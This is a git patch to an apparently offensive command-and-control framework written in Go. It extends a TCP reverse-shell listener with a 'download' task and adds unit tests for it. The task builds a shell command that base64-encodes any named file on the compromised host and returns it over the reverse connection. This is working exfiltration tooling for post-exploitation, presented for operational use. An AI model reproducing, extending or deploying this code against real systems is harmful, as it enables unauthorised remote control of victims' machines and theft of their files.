From 900250556936ec7fefb26af00289f6e274ac6745 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=85=AC=E6=98=8E?=
 <83812544+Ed1s0nZ@users.noreply.github.com>
Date: Sun, 7 Jun 2026 20:18:36 +0800
Subject: [PATCH] Add files via upload

---
 internal/c2/listener_tcp.go               | 43 +++++++++++++++++++++--
 internal/c2/listener_tcp_download_test.go | 43 +++++++++++++++++++++++
 2 files changed, 84 insertions(+), 2 deletions(-)
 create mode 100644 internal/c2/listener_tcp_download_test.go

diff --git a/internal/c2/listener_tcp.go b/internal/c2/listener_tcp.go
index 14ff9f35..e3effc92 100644
--- a/internal/c2/listener_tcp.go
+++ b/internal/c2/listener_tcp.go
@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
 		return
 	}
 	cleaned := cleanShellOutput(output, cmd)
+	if TaskType(env.TaskType) == TaskTypeDownload {
+		if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
+			l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
+			return
+		}
+	}
 	l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
 }
 
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
 }
 
 // buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
-// 仅支持 TCP 反弹模式可直接执行的最简任务类型；upload/download/screenshot 这些
-// 需要二进制传输的能力建议使用 http_beacon。
+// 仅支持 TCP 反弹模式可直接执行的最简任务类型；download 通过 base64 输出文本结果，
+// upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
 func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
 	switch t {
 	case TaskTypeExec, TaskTypeShell:
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
 			return "", false
 		}
 		return "cd " + shellQuote(path) + " && pwd", true
+	case TaskTypeDownload:
+		path, _ := payload["remote_path"].(string)
+		if strings.TrimSpace(path) == "" {
+			return "", false
+		}
+		q := shellQuote(path)
+		return fmt.Sprintf(
+			`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
+			q,
+		), true
 	case TaskTypeExit:
 		return "exit 0", true
 	}
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
 	return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
 }
 
+// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
+func detectDownloadShellError(output string) string {
+	trimmed := strings.TrimSpace(output)
+	if trimmed == "" {
+		return ""
+	}
+	lower := strings.ToLower(trimmed)
+	markers := []string{
+		"c2_download_err:",
+		"no such file",
+		"permission denied",
+		"is a directory",
+		"cannot open",
+		"not a regular file",
+	}
+	for _, m := range markers {
+		if strings.Contains(lower, m) {
+			return trimmed
+		}
+	}
+	return ""
+}
+
 func isAddrInUse(err error) bool {
 	if err == nil {
 		return false
diff --git a/internal/c2/listener_tcp_download_test.go b/internal/c2/listener_tcp_download_test.go
new file mode 100644
index 00000000..5b332a71
--- /dev/null
+++ b/internal/c2/listener_tcp_download_test.go
@@ -0,0 +1,43 @@
+package c2
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestDetectDownloadShellError(t *testing.T) {
+	tests := []struct {
+		name   string
+		output string
+		want   string
+	}{
+		{name: "empty ok", output: "", want: ""},
+		{name: "base64 ok", output: "aGVsbG8=", want: ""},
+		{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
+		{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
+		{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := detectDownloadShellError(tt.output)
+			if got != tt.want {
+				t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestBuildTCPCommandDownload(t *testing.T) {
+	cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
+		"remote_path": "/tmp/demo.txt",
+	})
+	if !ok {
+		t.Fatal("expected download command to be supported")
+	}
+	if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
+		t.Fatalf("command %q should contain %q", cmd, want)
+	}
+	if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
+		t.Fatalf("command should validate file before base64: %q", cmd)
+	}
+}